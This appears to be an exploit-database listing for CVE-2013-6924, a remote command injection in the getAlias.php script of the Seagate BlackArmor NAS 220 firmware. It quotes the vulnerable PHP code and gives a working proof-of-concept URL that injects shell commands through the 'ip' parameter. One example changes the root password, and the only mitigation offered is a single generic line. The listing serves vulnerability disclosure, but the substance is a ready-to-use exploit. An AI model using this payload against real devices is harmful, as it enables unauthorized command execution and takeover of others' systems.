Seagate BlackArmor NAS - Remote Command Execution

vendor:

BlackArmor NAS

by:

Jeroen - IT Nerdbox

9,8

CVSS

CRITICAL

Remote Command Execution

CWE

Product Name: BlackArmor NAS

Affected Version From: sg2000-2000.1331

Affected Version To: sg2000-2000.1331

Patch Exists: YES

Related CWE: CVE-2013-6924

CPE: a:seagate:blackarmor_nas_220

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2014

Seagate BlackArmor NAS – Remote Command Execution

The file getAlias.php located in /backupmgt has the following lines: $ipAddress = $_GET["ip"; if ($ipAddress != "") { exec("grep -I $ipAddress $immedLogFile > aliasHistory.txt"); .. .. } The GET parameter can easily be manipulated to execute commands on the BlackArmor system. Proof of Concept: http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; <your command here>; Example to change the root password to 'mypassword': http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; echo 'mypassword' | passwd --stdin;

Mitigation:

Ensure that the web application is not vulnerable to command injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Seagate BlackArmor NAS - Remote Command Execution

# Google Dork: N/A

# Date: 04-01-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage:  <http://www.seagate.com/> http://www.seagate.com/

# Software Link:
<http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/
>
http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/

# Version: sg2000-2000.1331

# Tested on: N/A

# CVE : CVE-2013-6924

#

## Description:

#

# The file getAlias.php located in /backupmgt has the following lines:

#

# $ipAddress = $_GET["ip";

# if ($ipAddress != "") {

#    exec("grep -I $ipAddress $immedLogFile > aliasHistory.txt");

#    ..

#    ..

# }

#

# The GET parameter can easily be manipulated to execute commands on the
BlackArmor system.

#

## Proof of Concept:

#

# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; <your
command here>;

#

## Example to change the root password to 'mypassword':

#

# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; echo
'mypassword' | passwd --stdin;